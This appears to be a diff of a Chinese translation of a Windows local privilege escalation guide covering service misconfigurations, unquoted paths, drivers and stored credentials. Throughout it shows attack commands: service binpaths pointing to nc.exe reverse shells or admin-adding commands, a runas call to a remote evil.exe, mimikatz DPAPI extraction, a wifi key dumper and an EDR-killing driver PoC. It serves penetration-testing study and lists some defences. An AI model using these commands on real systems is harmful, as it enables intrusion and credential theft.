-[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials). +**域凭据** 由 **本地安全授权机构 (Local Security Authority, LSA)** 验证,并被操作系统组件使用。当用户的登录数据由已注册的安全包验证时,通常会为该用户建立域凭据。\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -354,19 +347,19 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### 特权组 +### Privileged groups -如果你**属于某个特权组,你可能能够提权**。在此了解特权组以及如何滥用它们以提权: +如果你**属于某些特权组,可能能够提升权限**。在此了解特权组以及如何滥用它们以提升权限: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token 操作 +### Token manipulation -**了解更多** 关于 **token** 的信息,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -查看下列页面以**了解有趣的 tokens**以及如何滥用它们: +**了解更多** 有关 **token** 是什么的信息,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +请查看下列页面以 **了解有趣的 tokens** 以及如何滥用它们: {{#ref}} @@ -387,16 +380,16 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### 获取剪贴板内容 +### 获取剪贴板的内容 ```bash powershell -command "Get-Clipboard" ``` -## 运行中的进程 +## 运行进程 ### 文件和文件夹权限 -首先,列出进程时**检查进程命令行中是否包含密码**。\ -检查是否可以**覆盖某些正在运行的可执行文件**,或者是否对可执行文件所在的文件夹具有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): +首先,列出进程时,**检查进程命令行中是否包含密码**。\ +检查你是否可以**覆盖正在运行的某个二进制文件**,或者你是否对该二进制目录具有写权限,以便利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -407,7 +400,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -始终检查是否有可能的 [**electron/cef/chromium debuggers** 正在运行,你可以利用它来 escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +始终检查是否有可能正在运行的 [**electron/cef/chromium debuggers**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md),你可以滥用它来 escalate privileges。 **检查进程二进制文件的权限** ```bash @@ -426,9 +419,9 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### 内存密码挖掘 +### Memory Password mining -可以使用来自 sysinternals 的 **procdump** 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中会有 **credentials in clear text in memory**。尝试转储内存并读取这些 credentials。 +你可以使用 sysinternals 的 **procdump** 对正在运行的进程创建 memory dump。像 FTP 这样的服务会有 **credentials in clear text in memory**,尝试 dump the memory 并读取这些 credentials。 ```bash procdump.exe -accepteula -ma ``` @@ -436,11 +429,11 @@ procdump.exe -accepteula -ma **以 SYSTEM 身份运行的应用可能允许用户启动 CMD 或浏览目录。** -示例: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" +示例: "Windows Help and Support" (Windows + F1),搜索 "command prompt",点击 "Click to open Command Prompt" ## 服务 -获取服务列表: +列出服务: ```bash net start wmic service list brief @@ -449,44 +442,44 @@ Get-Service ``` ### 权限 -你可以使用 **sc** 获取服务信息 +你可以使用 **sc** 获取服务的信息 ```bash sc qc ``` -建议拥有来自 _Sysinternals_ 的二进制文件 **accesschk**,以检查每个服务所需的权限级别。 +建议获取来自 _Sysinternals_ 的二进制 **accesschk** 来检查每个服务所需的权限级别。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -建议检查 "Authenticated Users" 是否可以修改任何服务: +建议检查 "Authenticated Users" 是否可以修改任何 service: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[可从此处下载 accesschk.exe for XP](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### 启用服务 -如果出现此错误(例如与 SSDPSRV 相关): +如果遇到此错误(例如 SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_发生了系统错误 1058。_\ +_该服务无法启动,可能是因为它被禁用,或者没有与其关联的已启用设备。_ -可以使用以下命令启用它: +你可以使用以下命令启用它: ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** +**考虑到服务 upnphost 依赖 SSDPSRV 才能工作 (for XP SP1)** -**另一个变通方法** 来解决此问题是运行: +**另一个解决此问题的变通方法是运行:** ``` sc.exe config usosvc start= auto ``` ### **修改服务二进制路径** -如果“Authenticated users”组对某个服务拥有 **SERVICE_ALL_ACCESS**,则可以修改该服务的可执行二进制文件。要修改并执行 **sc**: +在 "Authenticated users" 组对某个服务拥有 **SERVICE_ALL_ACCESS** 的情况下,可以修改该服务的可执行二进制文件。要修改并执行 **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -499,20 +492,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -权限可以通过多种权限进行提权: +Privileges can be escalated through various permissions: - **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。 - **WRITE_DAC**: 允许重新配置权限,从而能够更改服务配置。 - **WRITE_OWNER**: 允许获取所有权并重新配置权限。 -- **GENERIC_WRITE**: 同样允许更改服务配置。 -- **GENERIC_ALL**: 同样允许更改服务配置。 +- **GENERIC_WRITE**: 具有更改服务配置的能力。 +- **GENERIC_ALL**: 同样具有更改服务配置的能力。 -要检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。 +For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. ### Services binaries weak permissions -**检查是否可以修改由服务执行的二进制文件** 或者是否对二进制所在的文件夹拥有 **写权限**([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -你可以使用 **wmic**(不在 system32)获取每个由服务执行的二进制,并使用 **icacls** 检查你的权限: +**检查是否可以修改由服务执行的二进制文件** 或者是否对二进制文件所在的文件夹拥有 **写权限** ([**DLL Hijacking**](dll-hijacking/index.html))**。**\ +你可以使用 **wmic** 获取每个由服务执行的二进制文件(不在 system32 中),并使用 **icacls** 检查你的权限: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -524,10 +517,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### 服务注册表 修改权限 +### Services registry modify permissions 你应该检查是否可以修改任何服务注册表。\ -你可以通过以下操作**检查**你对某个服务**注册表**的**权限**: +你可以通过以下方式**检查**你对某个服务**注册表**的**权限**: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -536,31 +529,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -应该检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,服务执行的二进制文件可以被更改。 +应该检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,服务执行的二进制可以被更改。 -要更改被执行二进制的 Path: +要更改服务执行二进制的 Path: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### 服务注册表 AppendData/AddSubdirectory 权限 +### Services 注册表 AppendData/AddSubdirectory 权限 + +如果你对某个注册表拥有此权限,这意味着**你可以从此注册表创建子注册表**。在 Windows 服务的情况下,这**足以执行任意代码:** -如果你对某个注册表拥有此权限,这意味着 **你可以从该注册表创建子注册表**。在 Windows 服务的情况下,这 **足以执行任意代码:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### 未加引号的服务路径 -如果可执行文件的路径没有用引号括起来,Windows 会尝试执行每个空格前的结尾部分。 +如果可执行文件的路径未被引号包围,Windows 会尝试执行空格之前的每一段路径。 -例如,对于路径 _C:\Program Files\Some Folder\Service.exe_ Windows 会尝试执行: +例如,对于路径 _C:\Program Files\Some Folder\Service.exe_,Windows 会尝试执行: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -列出所有未加引号的服务路径(不包括属于内置 Windows 服务的那些): +列出所有 unquoted service paths,排除那些属于内置 Windows services 的: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -580,19 +574,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**你可以使用 metasploit 检测并利用** 这个漏洞: `exploit/windows/local/trusted\_service\_path` 你可以手动使用 metasploit 创建一个服务二进制文件: +**你可以检测并 exploit** 这个漏洞,使用 metasploit: `exploit/windows/local/trusted\_service\_path` 你可以手动使用 metasploit 创建一个 service binary: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 恢复操作 -Windows 允许用户指定当服务失败时要执行的操作。此功能可以配置为指向一个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节请见 [官方文档](). +Windows 允许用户指定在服务失败时要采取的操作。此功能可以配置为指向一个二进制文件。如果该二进制文件可被替换,可能会发生 privilege escalation。更多细节可在 [official documentation]() 中找到。 ## 应用程序 ### 已安装的应用程序 -检查 **binaries 的权限**(也许你可以覆盖其中一个并进行 privilege escalation)以及 **folders 的权限**([DLL Hijacking](dll-hijacking/index.html))。 +检查 **二进制文件的权限**(可能你可以覆盖其中一个并 escalate privileges)以及 **文件夹** 的权限([DLL Hijacking](dll-hijacking/index.html))。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -601,11 +595,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### 写入权限 +### 写权限 -检查是否可以修改某些配置文件以读取某些特殊文件,或是否可以修改将由 Administrator 账户(schedtasks)执行的二进制文件。 +检查是否可以修改某些配置文件以读取某些特殊文件,或是否可以修改将由 Administrator 帐户执行的某个二进制文件(schedtasks)。 -在系统中查找弱文件夹/文件权限的一种方法是执行: +在系统中查找权限薄弱的文件夹/文件的一种方法是执行: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -630,8 +624,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### 启动时运行 -**检查是否可以覆盖某些 registry 或 binary,这些将由不同的用户执行。**\ -**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges**: +**检查是否可以覆盖将由不同用户执行的某些 registry 或 binary。**\ +**阅读** 下列页面以了解更多关于有趣的 **autoruns locations to escalate privileges**: {{#ref}} @@ -646,25 +640,25 @@ driverquery driverquery.exe /fo table driverquery /SI ``` -如果驱动暴露了任意内核读/写原语(在设计不佳的 IOCTL 处理程序中常见),你可以通过直接从内核内存窃取 SYSTEM token 来提升权限。逐步技术见: +如果一个驱动暴露任意内核读/写原语(在设计不良的 IOCTL 处理程序中常见),你可以通过直接从内核内存窃取 SYSTEM token 来提升权限。逐步技术见: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### 滥用 device 对象上缺失的 FILE_DEVICE_SECURE_OPEN(LPE + EDR kill) +#### 滥用设备对象上缺失的 FILE_DEVICE_SECURE_OPEN(LPE + EDR kill) -一些签名的第三方驱动通过 IoCreateDeviceSecure 使用严格的 SDDL 创建其 device 对象,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。缺少该标志时,当通过包含额外组件的路径打开设备时,安全 DACL 不会被强制执行,从而允许任何非特权用户通过使用如下命名空间路径获得句柄: +某些签名的第三方驱动通过 IoCreateDeviceSecure 使用强 SDDL 创建设备对象,但在 DeviceCharacteristics 中忘记设置 FILE_DEVICE_SECURE_OPEN。缺少此标志时,通过包含额外组件的路径打开设备时,secure DACL 不会被强制执行,从而允许任何非特权用户通过如下命名空间路径获取句柄: - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) -一旦用户能够打开该设备,驱动暴露的特权 IOCTLs 就可以被滥用于 LPE 和篡改。以下是在实战中观测到的示例能力: -- 返回对任意进程的完全访问句柄(token theft / 通过 DuplicateTokenEx/CreateProcessAsUser 获取 SYSTEM shell)。 -- 不受限制的原始磁盘读/写(离线篡改、启动时持久化技巧)。 -- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许通过内核从用户态终结 AV/EDR。 +一旦用户能够打开该设备,驱动暴露的特权 IOCTLs 可被滥用用于 LPE 和篡改。实战中观察到的示例能力包括: +- 返回对任意进程的完整访问句柄(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。 +- 不受限制的原始磁盘读/写(用于离线篡改、启动时持久化技巧)。 +- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许通过内核从用户态终止 AV/EDR。 -Minimal PoC 模式(user mode): +最小 PoC 模式(用户模式): ```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 @@ -676,19 +670,19 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -开发者缓解措施 -- 在创建应由 DACL 限制的设备对象时,始终设置 FILE_DEVICE_SECURE_OPEN。 -- 在执行特权操作前验证调用者上下文。在允许进程终止或返回句柄之前添加 PP/PPL 检查。 -- 限制 IOCTLs(访问掩码、METHOD_*、输入验证),并考虑使用 brokered models 而不是直接的内核权限。 +针对开发者的缓解措施 +- 在为需受 DACL 限制的设备创建设备对象时,始终设置 FILE_DEVICE_SECURE_OPEN。 +- 对特权操作验证调用者上下文。在允许进程终止或返回句柄之前添加 PP/PPL 检查。 +- 约束 IOCTLs(访问掩码、METHOD_*、输入验证),并考虑采用 brokered models 而非直接的内核权限。 -防御者检测思路 -- 监控用户模式对可疑设备名的打开(例如 \\ .\\amsdk*)以及指示滥用的特定 IOCTL 序列。 -- 强制执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的 allow/deny lists。 +给防御者的检测建议 +- 监控用户态对可疑设备名(例如 \\ .\\amsdk*)的打开,以及表明滥用的特定 IOCTL 序列。 +- 强制执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的 allow/deny 列表。 ## PATH DLL Hijacking -If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. +如果你对 **PATH 中某个文件夹拥有写权限**,你可能能够劫持进程加载的 DLL 并 **escalate privileges**。 检查 PATH 中所有文件夹的权限: ```bash @@ -712,7 +706,7 @@ net share #Check current shares ``` ### hosts file -检查 hosts file 中是否硬编码了其他已知计算机 +检查 hosts file 中是否有其他已知计算机的硬编码条目 ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -724,7 +718,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### 开放端口 -从外部检查是否存在 **受限服务** +检查是否可以从外部访问**受限服务** ```bash netstat -ano #Opened ports? ``` @@ -751,16 +745,16 @@ C:\Windows\System32\wsl.exe ``` 二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 中找到 -如果你获得 root 用户,你可以监听任何端口(第一次使用 `nc.exe` 在端口上监听时,GUI 会询问是否允许 `nc` 通过防火墙)。 +如果你获得 root user,你可以在任意端口上监听(第一次你使用 `nc.exe` 在端口上监听时,它会通过 GUI 提示是否允许 `nc` 通过防火墙)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -要轻松以 root 启动 bash,可以尝试 `--default-user root` +要以 root 身份轻松启动 bash,可以试试 `--default-user root` -您可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统 +你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统 ## Windows 凭据 @@ -779,11 +773,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### 凭据管理器 / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault 存储用于服务器、网站和其他程序的用户凭据,这些凭据可以被 **Windows** **自动为用户登录**。乍一看,用户可能认为可以在此存储他们的 Facebook、Twitter、Gmail 等凭据,从而通过浏览器自动登录。但事实并非如此。 +Windows Vault 存储用于服务器、网站和其他程序的用户凭据,**Windows** 可以自动为用户登录。乍一看,这似乎意味着用户可以将 Facebook、Twitter、Gmail 等凭据存储起来,以便通过浏览器自动登录。但事实并非如此。 -Windows Vault 存储那些可以被 Windows 自动登录的凭据,这意味着任何 **需要凭据来访问资源的 Windows 应用程序**(服务器或网站)**可以使用这个 Credential Manager** 和 Windows Vault,使用所提供的凭据,而不是让用户每次输入用户名和密码。 +Windows Vault 存储的是 **Windows** 可以自动用来为用户登录的凭据,这意味着任何 **Windows application that needs credentials to access a resource**(服务器或网站)**can make use of this Credential Manager** & Windows Vault,并使用所提供的凭据,而无需用户每次输入用户名和密码。 -除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用某个资源的凭据。因此,如果你的应用程序想使用 vault,它应该以某种方式**与 credential manager 通信并从默认存储 vault 请求该资源的凭据**。 +除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用给定资源的凭据。因此,如果你的应用想要使用该 vault,它应该以某种方式从默认存储 vault **communicate with the credential manager and request the credentials for that resource**。 使用 `cmdkey` 列出机器上存储的凭据。 ```bash @@ -793,38 +787,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -然后你可以使用 `runas` 并加上 `/savecred` 选项来使用已保存的凭据。下面的例子通过 SMB share 调用远程 binary。 +然后你可以使用 `runas` 并加上 `/savecred` 选项以使用已保存的凭据。下面的示例通过 SMB 共享调用远程二进制文件。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -使用提供的一组凭据运行 `runas`。 +使用 `runas` 并提供一组凭据。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -请注意:mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html),或来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 +注意:mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html),或来自[Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 ### DPAPI -The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. +**Data Protection API (DPAPI)** 提供了一种对数据进行对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥进行对称加密。该加密利用用户或系统的秘密作为熵的重要来源。 -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。在涉及系统加密的场景中,它使用系统的域身份验证秘密。 -使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与同一文件中保护用户私钥的主密钥共存**,通常由 64 字节的随机数据组成。(需要注意的是,对该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) +使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**,通常由 64 字节的随机数据组成。(需要注意的是,该目录的访问受限,不能通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -你可以使用 **mimikatz module** `dpapi::masterkey` 并带上适当的参数(`/pvk` 或 `/rpc`)来解密它。 +你可以使用 **mimikatz module** `dpapi::masterkey` 并带适当参数(`/pvk` 或 `/rpc`)来解密它。 -**由主密码保护的凭据文件**通常位于: +受主密码保护的 **凭据文件** 通常位于: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -你可以使用 **mimikatz module** `dpapi::cred` 并配合相应的 `/masterkey` 来 decrypt.\ -你可以使用 `sekurlsa::dpapi` 模块 **extract many DPAPI** **masterkeys** 从 **memory** 中(如果你是 root)。 +你可以使用 **mimikatz module** `dpapi::cred` 并提供相应的 `/masterkey` 来解密。\ +你可以使用 `sekurlsa::dpapi` 模块(如果你是 root)从 **memory** 中提取许多 **DPAPI** **masterkeys**。 {{#ref}} @@ -833,9 +827,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** 经常用于 **scripting** 和自动化任务,作为一种便捷的方式来存储 encrypted credentials。 这些 credentials 使用 **DPAPI** 保护,通常意味着它们只能被创建它们的同一用户在同一台计算机上 decrypt。 +**PowerShell credentials** 通常用于 **scripting** 和自动化任务,作为方便存储加密凭据的一种方式。 这些凭据使用 **DPAPI** 保护,这通常意味着它们只能被在创建它们的同一台计算机上的相同用户解密。 -要从包含它的文件中 **decrypt** 一个 PS credentials,你可以执行: +要从包含它的文件中**解密** 一个 PS credentials,你可以执行: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -846,7 +840,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### 无线网络 ```bash #List saved Wifi using netsh wlan show profile @@ -855,34 +849,34 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Saved RDP Connections +### 已保存的 RDP 连接 你可以在 `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -和 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 找到它们。 +并且在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### 最近运行的命令 ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **远程桌面凭证管理器** +### **远程桌面凭据管理器** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -使用 **Mimikatz** 的 `dpapi::rdg` 模块并使用适当的 `/masterkey` 来**解密任何 .rdg 文件**`\ -可以使用 **Mimikatz** 的 `sekurlsa::dpapi` 模块从内存中**提取大量 DPAPI masterkeys** +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -很多人在 Windows 工作站上使用 StickyNotes 应用来**保存密码**和其他信息,却没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得查找和检查。 +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. ### AppCmd.exe -**注意:要从 AppCmd.exe 恢复密码,你需要以 管理员 身份 并在 高完整性 级别 下运行。**\ -**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录。\ -如果该文件存在,则可能已配置了某些 **credentials**,并且可以**恢复**。 +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -963,7 +957,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM 检查是否存在 `C:\Windows\CCM\SCClient.exe` .\ -安装程序以 **run with SYSTEM privileges**, 许多易受 **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +安装程序以 **run with SYSTEM privileges**, 许多易受 **DLL Sideloading (信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -979,22 +973,21 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### 注册表中的 SSH 私钥 +### 注册表中的 SSH 密钥 -SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此您应该检查那里是否有任何有趣的内容: +SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,所以你应该检查那里是否有任何有趣的内容: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -如果在该路径中发现任何条目,它可能是保存的 SSH 密钥。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ +如果你在该路径中发现任何条目,它很可能是一个已保存的 SSH key。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +关于该技术的更多信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -有关此技术的更多信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) - -如果 `ssh-agent` 服务未运行且您希望它在启动时自动启动,请运行: +如果 `ssh-agent` 服务未运行,且你希望它在开机时自动启动,请运行: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 